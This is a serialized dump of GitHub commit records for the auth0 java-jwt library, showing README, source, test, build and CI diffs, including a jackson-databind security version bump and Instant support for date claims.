 - [**Available Algorithms**](#available-algorithms)
 - [**Quickstart**](#quickstart)
   + [**Create and Sign a Token**](#create-and-sign-a-token)
   + [**Verify a Token**](#verify-a-token)
-  + [**Decode a Token**](#decode-a-token)
 - [**Usage**](#usage)
   + [**Pick the algorithm**](#pick-the-algorithm)
   + [**Time Validation**](#time-validation)
@@ -28,6 +28,10 @@ If you're looking for an **Android** version of the JWT Decoder take a look at o
   + [**Claim Class**](#claim-class)
 - [**Javadoc**](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html)
 
+## Requirements
+
+This library is supported for Java 8, 11, and 17. For issues on non-LTS versions above 8, consideration will be given on a case-by-case basis.
+
 ## Installation
 
 ### Gradle
@@ -138,8 +142,13 @@ You'll first need to create a `JWTVerifier` instance by calling `JWT.require()`
 
 If the token has an invalid signature or the Claim requirement is not met, a `JWTVerificationException` will raise.
 
+<details>
+<summary><em></em>Need to peek into a JWT without verifying it? (Click to expand)</summary>
+
 ### Decode a Token
 
+> __Warning:__ This will __not__ verify whether the signature is valid. You should __not__ use this for untrusted messages. You most likely want to use `JWTVerifier` as documented above instead.
+
 ```java
 String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
 try {
@@ -151,6 +160,8 @@ try {
 
 If the token has an invalid syntax or the header or payload are not JSONs, a `JWTDecodeException` will raise.
 
+</details>
+
 ## Usage
 
 ### Pick the Algorithm
@@ -176,7 +187,7 @@ Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
 
 ##### HMAC Key Length and Security
 
-When using a Hash-based Message Authenticaton Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recomendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
+When using a Hash-based Message Authenticaton Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recommendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
 
 #### Using a KeyProvider:
 By using a `KeyProvider` you can change in runtime the key used either to verify the token signature or to sign a new token for RSA or ECDSA algorithms. This is achieved by implementing either `RSAKeyProvider` or `ECDSAKeyProvider` methods:
@@ -243,13 +254,13 @@ JWTVerifier verifier = JWT.require(algorithm)
     .build();
 ```
 
-If you need to test this behaviour in your lib/app cast the `Verification` instance to a `BaseVerification` to gain visibility of the `verification.build()` method that accepts a custom `Clock`. e.g.:
+If you need to test this behavior in your lib/app cast the `Verification` instance to a `BaseVerification` to gain visibility of the `verification.build()` method that accepts a `java.time.Clock`. e.g.:
 
 ```java
 BaseVerification verification = (BaseVerification) JWT.require(algorithm)
     .acceptLeeway(1)
     .acceptExpiresAt(5);
-Clock clock = new CustomClock(); //Must implement Clock interface
+private final Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));    
 JWTVerifier verifier = verification.build(clock);
 ```
 
@@ -342,6 +353,12 @@ Returns the Expiration Time value or null if it's not defined in the Payload.
 Date expiresAt = jwt.getExpiresAt();
 ```
 
+If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
+
+```java
+Instant expiresAt = jwt.getExpiresAtAsInstant();
+```
+
 #### Not Before ("nbf")
 
 Returns the Not Before value or null if it's not defined in the Payload.
@@ -350,6 +367,12 @@ Returns the Not Before value or null if it's not defined in the Payload.
 Date notBefore = jwt.getNotBefore();
 ```
 
+If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
+
+```java
+Instant notBefore = jwt.getNotBeforeAsInstant();
+```
+
 #### Issued At ("iat")
 
 Returns the Issued At value or null if it's not defined in the Payload.
@@ -358,6 +381,12 @@ Returns the Issued At value or null if it's not defined in the Payload.
 Date issuedAt = jwt.getIssuedAt();
 ```
 
+If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
+
+```java
+Instant issuedAt = jwt.getIssuedAtAsInstant();
+```
+
 #### JWT ID ("jti")
 
 Returns the JWT ID value or null if it's not defined in the Payload.u}(j-  (a99f0fa010ba4b81b0c97a055105f1a844a7ecc8j  /lib/src/main/java/com/auth0/jwt/JWTCreator.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/b6a9a034b3ceac2e644308e376c0f48aefdcc6da/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj  https://github.com/auth0/java-jwt/raw/b6a9a034b3ceac2e644308e376c0f48aefdcc6da/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=b6a9a034b3ceac2e644308e376c0f48aefdcc6daj  X"  @@ -453,7 +453,7 @@ public Builder withPayload(Map<String, ?> payloadClaims) throws IllegalArgumentE
 
             if (!validatePayload(payloadClaims)) {
                 throw new IllegalArgumentException("Claim values must only be of types Map, List, Boolean, Integer, "
-                        + "Long, Double, String, Date and Null");
+                        + "Long, Double, String, Date, Instant, and Null");
             }
 
             // add claims only after validating all claims so as not to corrupt the claims map of this builderu}(j-  (4d1c7314418872a373144140ba45573b61e6bccfj  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/b6a9a034b3ceac2e644308e376c0f48aefdcc6da/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://github.com/auth0/java-jwt/raw/b6a9a034b3ceac2e644308e376c0f48aefdcc6da/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=b6a9a034b3ceac2e644308e376c0f48aefdcc6daj  X!  @@ -759,7 +759,7 @@ public void shouldOverwriteExistingPayloadWhenSettingSamePayloadKey() {
     @Test
     public void withPayloadShouldNotAllowCustomType() {
         exception.expect(IllegalArgumentException.class);
-        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date and Null");
+        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date, Instant, and Null");
 
         Map<String, Object> payload = new HashMap<>();
         payload.put("entry", "value");
@@ -786,7 +786,7 @@ public void withPayloadShouldAllowNullListItems() {
     @Test
     public void withPayloadShouldNotAllowListWithCustomType() {
         exception.expect(IllegalArgumentException.class);
-        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date and Null");
+        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date, Instant, and Null");
 
         Map<String, Object> payload = new HashMap<>();
         payload.put("list", Arrays.asList("item1", new UserPojo("name", 42)));
@@ -798,7 +798,7 @@ public void withPayloadShouldNotAllowListWithCustomType() {
     @Test
     public void withPayloadShouldNotAllowMapWithCustomType() {
         exception.expect(IllegalArgumentException.class);
-        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date and Null");
+        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date, Instant, and Null");
 
         Map<String, Object> payload = new HashMap<>();
         payload.put("entry", "value");ueu(dd22f32d5cfcffd6066a5ce949bcc58481cc2f5a}(sha(dd22f32d5cfcffd6066a5ce949bcc58481cc2f5anode_idEC_kwDOAQtL0doAKGRkMjJmMzJkNWNmY2ZmZDYwNjZhNWNlOTQ5YmNjNTg0ODFjYzJmNWEcommit}(author}(name	Evan Simsemailevan.sims@auth0.comdate2022-03-30T08:35:54Zu	committer}(j  GitHubjĚ  noreply@github.comjƚ  2022-03-30T08:35:54ZumessageX%  Security: Bump `jackson-databind` to 2.13.2.2 (#566)

* Security: Bump `jackson-databind` to 2.13.2.1

This PR bumps the `jackson-databind` dependency to 2.13.2.1 to address [CVE-2020-36518](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36518) in that library

* Bump to 2.13.2.2tree}(j  (18cd4eb8a7f0e09b5dde6e7b9a823a4920b3e8a7url^https://api.github.com/repos/auth0/java-jwt/git/trees/18cd4eb8a7f0e09b5dde6e7b9a823a4920b3e8a7ujҚ  `https://api.github.com/repos/auth0/java-jwt/git/commits/dd22f32d5cfcffd6066a5ce949bcc58481cc2f5a
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiRBZqCRBK7hj4Ov3rIwAAVxAIAHmvRsLr8d1xtKOg3/LvCoiU
nsrmQ7bpTuKCZlPrCJXzBAAk7wG56TzAGiwOg6yCNPluM0xyT61xUFeWyfdvgwX+
z2ZiCvSHqt0HB7U5RdoRcL8fpjAEcQaCXLyvTmY/tk9Toy1a4mEXPygud7IHqf+f
yAJf4N25tCY1t1TiDxMxBv5ce91RKDgB+cPJKG/mQnM2fwQU9DD7rg0rJA/CTZOl
hLA9N8ThEsAp0nNcXBYpQkSt7dc6e+2Q8bJTRdFW3B0+iq8V3Sk3Yti2ucGXqt8p
atUl4pQr/pG5/Tj9AU3EJnfta/J6zpt9qdSz0alht+2rX9kjIKUT36cdbTXTOd0=
=ZyNt
-----END PGP SIGNATURE-----
payloadX  tree 18cd4eb8a7f0e09b5dde6e7b9a823a4920b3e8a7
parent e62dd3a30480d401ab35c176ee99cd59f5023909
author Evan Sims <evan.sims@auth0.com> 1648629354 -0500
committer GitHub <noreply@github.com> 1648629354 +0200

Security: Bump `jackson-databind` to 2.13.2.2 (#566)

* Security: Bump `jackson-databind` to 2.13.2.1

This PR bumps the `jackson-databind` dependency to 2.13.2.1 to address [CVE-2020-36518](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36518) in that library

* Bump to 2.13.2.2uujҚ  \https://api.github.com/repos/auth0/java-jwt/commits/dd22f32d5cfcffd6066a5ce949bcc58481cc2f5ahtml_urlQhttps://github.com/auth0/java-jwt/commit/dd22f32d5cfcffd6066a5ce949bcc58481cc2f5acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/dd22f32d5cfcffd6066a5ce949bcc58481cc2f5a/commentsj  }(loginevansimsidMj  MDQ6VXNlcjMwOTM=
avatar_url0https://avatars.githubusercontent.com/u/3093?v=4gravatar_idh3jҚ  %https://api.github.com/users/evansimsj  https://github.com/evansims
followers_url/https://api.github.com/users/evansims/followers
following_url<https://api.github.com/users/evansims/following{/other_user}	gists_url5https://api.github.com/users/evansims/gists{/gist_id}starred_url<https://api.github.com/users/evansims/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/evansims/subscriptionsorganizations_url*https://api.github.com/users/evansims/orgs	repos_url+https://api.github.com/users/evansims/repos
events_url6https://api.github.com/users/evansims/events{/privacy}received_events_url5https://api.github.com/users/evansims/received_eventstypeUser
site_adminujȚ  }(j  web-flowB     j  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3jҚ  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj   Userj  uparents]}(j  (e62dd3a30480d401ab35c176ee99cd59f5023909jҚ  \https://api.github.com/repos/auth0/java-jwt/commits/e62dd3a30480d401ab35c176ee99cd59f5023909j  Qhttps://github.com/auth0/java-jwt/commit/e62dd3a30480d401ab35c176ee99cd59f5023909uastats}(totalK	additionsK	deletionsKufiles]}(j  (fbc88df89a3476b2e732e3ba931e94d9733fb3c9filenamelib/build.gradlestatusmodifiedj  Kj  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/dd22f32d5cfcffd6066a5ce949bcc58481cc2f5a/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/dd22f32d5cfcffd6066a5ce949bcc58481cc2f5a/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=dd22f32d5cfcffd6066a5ce949bcc58481cc2f5apatchXg  @@ -47,7 +47,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2.2'
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.60'
     testImplementation 'junit:junit:4.12'
     testImplementation 'net.jodah:concurrentunit:0.4.3'uau(22f31476fbaf2526412c88e9d9e65d058103d0a8}(sha(22f31476fbaf2526412c88e9d9e65d058103d0a8node_idEC_kwDOAQtL0doAKDIyZjMxNDc2ZmJhZjI1MjY0MTJjODhlOWQ5ZTY1ZDA1ODEwM2QwYTgcommit}(author}(name	Evan Simsemailevan.sims@auth0.comdate2022-03-13T17:19:55Zu	committer}(j9  GitHubj;  noreply@github.comj=  2022-03-13T17:19:55ZumessageBump `jackson-databind` dependency to 2.13.2 (#542)

* Bump `jackson-databind` dependency to 2.13

* Update build.gradle

* Update build.gradletree}(j1  (8fdc676992cb00029b7eebfcbdda2eecbbe04fcdurl^https://api.github.com/repos/auth0/java-jwt/git/trees/8fdc676992cb00029b7eebfcbdda2eecbbe04fcdujI  `https://api.github.com/repos/auth0/java-jwt/git/commits/22f31476fbaf2526412c88e9d9e65d058103d0a8
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiLie7CRBK7hj4Ov3rIwAATm8IAGr5yTGJ5ETu+w4FYCL3p1ta
4WCjJxfkxlcEMW0Tqo5sGmUy05YlDGPZ814mYnvucf4eQSZd6Q7ROd5bFhysLBPf
GT4CxJ48BouBZnguw40KR2jI//dQf8YCmC/+WwS/sG5VSZTq6q+zWPL7tbl6PcNS
sBPxM+xQKVXEgo4DIxgAFbVUA9b5Woh4vkLP6NFLV1tn/HdNSYTQzvRy04fkDIcY
ag3MjXq2NANO937NHJGmpFi8Q5LKOoE/hyiaNs90Jzz1MXmTvQ320Y901YjnQ3NR
OLerPgEFKZfPhK77RrCKALAKQsFxmX+BkeDEHJakTez1bW4StiyoJUhjSSFOzKg=
=lwkS
-----END PGP SIGNATURE-----
payloadXa  tree 8fdc676992cb00029b7eebfcbdda2eecbbe04fcd
parent a043f0284389d4efd58494264ce5ba2c79332410
author Evan Sims <evan.sims@auth0.com> 1647191995 -0400
committer GitHub <noreply@github.com> 1647191995 +0530

Bump `jackson-databind` dependency to 2.13.2 (#542)

* Bump `jackson-databind` dependency to 2.13

* Update build.gradle

* Update build.gradleuujI  \https://api.github.com/repos/auth0/java-jwt/commits/22f31476fbaf2526412c88e9d9e65d058103d0a8html_urlQhttps://github.com/auth0/java-jwt/commit/22f31476fbaf2526412c88e9d9e65d058103d0a8comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/22f31476fbaf2526412c88e9d9e65d058103d0a8/commentsj7  }(loginevansimsidMj3  MDQ6VXNlcjMwOTM=
avatar_url0https://avatars.githubusercontent.com/u/3093?v=4gravatar_idh3jI  %https://api.github.com/users/evansimsjW  https://github.com/evansims
followers_url/https://api.github.com/users/evansims/followers
following_url<https://api.github.com/users/evansims/following{/other_user}	gists_url5https://api.github.com/users/evansims/gists{/gist_id}starred_url<https://api.github.com/users/evansims/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/evansims/subscriptionsorganizations_url*https://api.github.com/users/evansims/orgs	repos_url+https://api.github.com/users/evansims/repos
events_url6https://api.github.com/users/evansims/events{/privacy}received_events_url5https://api.github.com/users/evansims/received_eventstypeUser
site_adminuj?  }(j\  web-flowj^  J/j3  MDQ6VXNlcjE5ODY0NDQ3j`  4https://avatars.githubusercontent.com/u/19864447?v=4jb  h3jI  %https://api.github.com/users/web-flowjW  https://github.com/web-flowje  /https://api.github.com/users/web-flow/followersjg  <https://api.github.com/users/web-flow/following{/other_user}ji  5https://api.github.com/users/web-flow/gists{/gist_id}jk  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jm  3https://api.github.com/users/web-flow/subscriptionsjo  *https://api.github.com/users/web-flow/orgsjq  +https://api.github.com/users/web-flow/reposjs  6https://api.github.com/users/web-flow/events{/privacy}ju  5https://api.github.com/users/web-flow/received_eventsjw  Userjy  uparents]}(j1  (a043f0284389d4efd58494264ce5ba2c79332410jI  \https://api.github.com/repos/auth0/java-jwt/commits/a043f0284389d4efd58494264ce5ba2c79332410jW  Qhttps://github.com/auth0/java-jwt/commit/a043f0284389d4efd58494264ce5ba2c79332410uastats}(totalK	additionsK	deletionsKufiles]}(j1  (55f531b8615d8f644fe703f9bb1bd254f4fceb5bfilenamelib/build.gradlestatusmodifiedj  Kj  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/22f31476fbaf2526412c88e9d9e65d058103d0a8/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/22f31476fbaf2526412c88e9d9e65d058103d0a8/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=22f31476fbaf2526412c88e9d9e65d058103d0a8patchXe  @@ -47,7 +47,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.12.6'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2'
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.60'
     testImplementation 'junit:junit:4.12'
     testImplementation 'net.jodah:concurrentunit:0.4.3'uau(274566f67c5a273a626076c49aa5cd770f87e168}(sha(274566f67c5a273a626076c49aa5cd770f87e168node_idEC_kwDOAQtL0doAKDI3NDU2NmY2N2M1YTI3M2E2MjYwNzZjNDlhYTVjZDc3MGY4N2UxNjgcommit}(author}(nameAndre Mermegasemailamermegas@fxcm.comdate2022-03-14T17:06:05Zu	committer}(j  Andre Mermegasj  amermegas@fxcm.comj  2022-03-14T17:06:05ZumessagePfix problem with claim Date object handling not respecting millisecond precisiontree}(j  (a9870022a3c2ca8425a0ca9bd2e314ee58a9fbf9url^https://api.github.com/repos/auth0/java-jwt/git/trees/a9870022a3c2ca8425a0ca9bd2e314ee58a9fbf9uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/274566f67c5a273a626076c49aa5cd770f87e168
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/274566f67c5a273a626076c49aa5cd770f87e168html_urlQhttps://github.com/auth0/java-jwt/commit/274566f67c5a273a626076c49aa5cd770f87e168comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/274566f67c5a273a626076c49aa5cd770f87e168/commentsj  }(login
andre-fxcmidJd}ij  MDQ6VXNlcjc0MDIyMjQ0
avatar_url4https://avatars.githubusercontent.com/u/74022244?v=4gravatar_idh3j  'https://api.github.com/users/andre-fxcmj̛  https://github.com/andre-fxcm
followers_url1https://api.github.com/users/andre-fxcm/followers
following_url>https://api.github.com/users/andre-fxcm/following{/other_user}	gists_url7https://api.github.com/users/andre-fxcm/gists{/gist_id}starred_url>https://api.github.com/users/andre-fxcm/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/andre-fxcm/subscriptionsorganizations_url,https://api.github.com/users/andre-fxcm/orgs	repos_url-https://api.github.com/users/andre-fxcm/repos
events_url8https://api.github.com/users/andre-fxcm/events{/privacy}received_events_url7https://api.github.com/users/andre-fxcm/received_eventstypeUser
site_adminuj  }(jћ  
andre-fxcmjӛ  Jd}ij  MDQ6VXNlcjc0MDIyMjQ0j՛  4https://avatars.githubusercontent.com/u/74022244?v=4jכ  h3j  'https://api.github.com/users/andre-fxcmj̛  https://github.com/andre-fxcmjڛ  1https://api.github.com/users/andre-fxcm/followersjܛ  >https://api.github.com/users/andre-fxcm/following{/other_user}jޛ  7https://api.github.com/users/andre-fxcm/gists{/gist_id}j  >https://api.github.com/users/andre-fxcm/starred{/owner}{/repo}j  5https://api.github.com/users/andre-fxcm/subscriptionsj  ,https://api.github.com/users/andre-fxcm/orgsj  -https://api.github.com/users/andre-fxcm/reposj  8https://api.github.com/users/andre-fxcm/events{/privacy}j  7https://api.github.com/users/andre-fxcm/received_eventsj  Userj  uparents]}(j  (212a3cdc3c5a474e88af0dc8445bc78fb0f662a7j  \https://api.github.com/repos/auth0/java-jwt/commits/212a3cdc3c5a474e88af0dc8445bc78fb0f662a7j̛  Qhttps://github.com/auth0/java-jwt/commit/212a3cdc3c5a474e88af0dc8445bc78fb0f662a7uastats}(totalK	additionsK	deletionsKufiles](}(j  (6371848156a2a8d6c40ca17a0f67e59570e287a5filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj  Kj	  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/274566f67c5a273a626076c49aa5cd770f87e168/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/274566f67c5a273a626076c49aa5cd770f87e168/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=274566f67c5a273a626076c49aa5cd770f87e168patchX  @@ -481,6 +481,14 @@ private void assertNonNull(String name) {
             }
         }
 
+        private void addClaim(String name, Date value) {
+            if (value == null) {
+                payloadClaims.remove(name);
+                return;
+            }
+            payloadClaims.put(name, value.getTime());
+        }
+
         private void addClaim(String name, Object value) {
             if (value == null) {
                 payloadClaims.remove(name);u}(j  (58111a873c65241a621afdf1d8d951f039faee09j  7lib/src/main/java/com/auth0/jwt/impl/JsonNodeClaim.javaj  modifiedj  Kj	  Kj  Kj  https://github.com/auth0/java-jwt/blob/274566f67c5a273a626076c49aa5cd770f87e168/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj  https://github.com/auth0/java-jwt/raw/274566f67c5a273a626076c49aa5cd770f87e168/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.java?ref=274566f67c5a273a626076c49aa5cd770f87e168j  @@ -60,7 +60,7 @@ public Date asDate() {
             return null;
         }
         long seconds = data.asLong();
-        return new Date(seconds * 1000);
+        return new Date(seconds);
     }
 
     @Overrideu}(j  (29884dd1dc8f803091d3a014198f6c9918027962j  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj  modifiedj  Kj	  Kj  Kj  https://github.com/auth0/java-jwt/blob/274566f67c5a273a626076c49aa5cd770f87e168/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://github.com/auth0/java-jwt/raw/274566f67c5a273a626076c49aa5cd770f87e168/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=274566f67c5a273a626076c49aa5cd770f87e168j  Xt  @@ -2,6 +2,7 @@
 
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.impl.PublicClaims;
+import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 import com.fasterxml.jackson.databind.ObjectMapper;
@@ -30,6 +31,21 @@ public class JWTCreatorTest {
     @Rule
     public ExpectedException exception = ExpectedException.none();
 
+    @Test
+    public void shouldReturnSameDateWithMilliAccuracy() {
+        long date = 1647277221778L;
+        System.out.println(date);
+        Date in = new Date(date);
+        System.out.println(in);
+        String token = JWTCreator.init()
+                               .withClaim("aDate", in)
+                               .sign(Algorithm.HMAC256("secret"));
+        JWTVerifier verifier = JWT.require(Algorithm.HMAC256("secret")).build();
+        DecodedJWT jwt = verifier.verify(token);
+        Date out = jwt.getClaim("aDate").asDate();
+        assertThat(out.getTime(), is(in.getTime()));
+    }
+
     @Test
     public void shouldThrowWhenRequestingSignWithoutAlgorithm() throws Exception {
         exception.expect(IllegalArgumentException.class);
@@ -574,7 +590,7 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
 
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
-        
+
         String body = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
         ObjectMapper mapper = new ObjectMapper();
         List<Object> list = (List<Object>) mapper.readValue(body, Map.class).get("data");ueu(959f63ab7871af8fd2c444f98b550bc40a8114fa}(sha(959f63ab7871af8fd2c444f98b550bc40a8114fanode_idEC_kwDOAQtL0doAKDk1OWY2M2FiNzg3MWFmOGZkMmM0NDRmOThiNTUwYmM0MGE4MTE0ZmEcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-24T18:13:41Zu	committer}(j5  Jim Andersonj7  jimranderson@gmail.comj9  2022-10-24T18:13:41ZumessageUse latest ship orbtree}(j-  (6b5b935f389f84a10d16ec478a21ad95955eee48url^https://api.github.com/repos/auth0/java-jwt/git/trees/6b5b935f389f84a10d16ec478a21ad95955eee48ujE  `https://api.github.com/repos/auth0/java-jwt/git/commits/959f63ab7871af8fd2c444f98b550bc40a8114fa
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujE  \https://api.github.com/repos/auth0/java-jwt/commits/959f63ab7871af8fd2c444f98b550bc40a8114fahtml_urlQhttps://github.com/auth0/java-jwt/commit/959f63ab7871af8fd2c444f98b550bc40a8114facomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/959f63ab7871af8fd2c444f98b550bc40a8114fa/commentsj3  }(login
jimmyjamesidJ7 j/  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jE  'https://api.github.com/users/jimmyjamesjQ  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj;  }(jV  
jimmyjamesjX  J7 j/  MDQ6VXNlcjI3NjIyNQ==jZ  2https://avatars.githubusercontent.com/u/276225?v=4j\  h3jE  'https://api.github.com/users/jimmyjamesjQ  https://github.com/jimmyjamesj_  1https://api.github.com/users/jimmyjames/followersja  >https://api.github.com/users/jimmyjames/following{/other_user}jc  7https://api.github.com/users/jimmyjames/gists{/gist_id}je  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jg  5https://api.github.com/users/jimmyjames/subscriptionsji  ,https://api.github.com/users/jimmyjames/orgsjk  -https://api.github.com/users/jimmyjames/reposjm  8https://api.github.com/users/jimmyjames/events{/privacy}jo  7https://api.github.com/users/jimmyjames/received_eventsjq  Userjs  uparents]}(j-  (c8d0ba995543c9cee50abe9f4aa4f9873b29489fjE  \https://api.github.com/repos/auth0/java-jwt/commits/c8d0ba995543c9cee50abe9f4aa4f9873b29489fjQ  Qhttps://github.com/auth0/java-jwt/commit/c8d0ba995543c9cee50abe9f4aa4f9873b29489fuastats}(totalK	additionsK	deletionsKufiles]}(j-  (6c87574b8777e248e453b80da47138df5fdba03efilename.circleci/config.ymlstatusmodifiedj  Kj  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/959f63ab7871af8fd2c444f98b550bc40a8114fa/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/959f63ab7871af8fd2c444f98b550bc40a8114fa/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=959f63ab7871af8fd2c444f98b550bc40a8114fapatch@@ -1,6 +1,6 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0.7.3
+  ship: auth0/ship@0
   codecov: codecov/codecov@3
 
